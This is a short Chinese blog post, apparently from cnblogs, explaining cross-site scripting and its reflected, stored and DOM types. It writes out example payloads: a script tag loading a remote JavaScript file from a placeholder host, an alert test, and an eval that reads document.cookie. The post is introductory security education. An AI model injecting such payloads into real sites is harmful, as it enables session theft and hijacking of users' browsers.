Web安全之XSS(Cross Site Scripting)深入理解
XSS的含义
XSS(Cross Site Scripting)即跨站脚本。跨站的主要内容是在脚本上。
跨站脚本
跨站脚本的跨,体现了浏览器的特性,可以跨域。所以也就给远程代码或者第三方域上的代码提供了通道。
一般弹窗攻击是无意义的。所以一般都会以脚本的形式嵌入页面。
<script src="http://www.xxx.com/xss.js"></script>
而不只是
<script>alert('XSS')</script>
多发于有输入的页面,类似表单等。
eval扮演的角色
有时候eval在其中也扮演了重要角色,因为它能解释执行js代码,类似一个小型的解释器。
<script>eval('console.log(document.cookie)')</script>
XSS的三种类型
反射型XSS
发出请求的时候,XSS代码出现在URL中,作为输入提交到服务器,服务器响应后在响应内容中出现这段XSS代码,最后交给浏览器解析,这个过程类似反射。
存储型XSS
与反射性的差别在于数据不会立马响应给客户端,而是会存储在诸如数据,文件中。等待下次用户查询的时候显示出来。触发攻。
DOM XSS
最后一种直接不经过服务器,直接在客户端依靠浏览器的解析来进行。例如上面的eval。
更多精彩文章请访问GitHub博客
无特殊声明的文章均为原创!
原创文章如若转载,请注明出处!http://www.cnblogs.com/zqzjs/
告诫自己即使再累,也不要忘记学习。成功没有捷径可走,只有一步接着一步走下去!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· Ollama——大语言模型本地部署的极速利器
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· Windows编程----内核对象竟然如此简单?
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用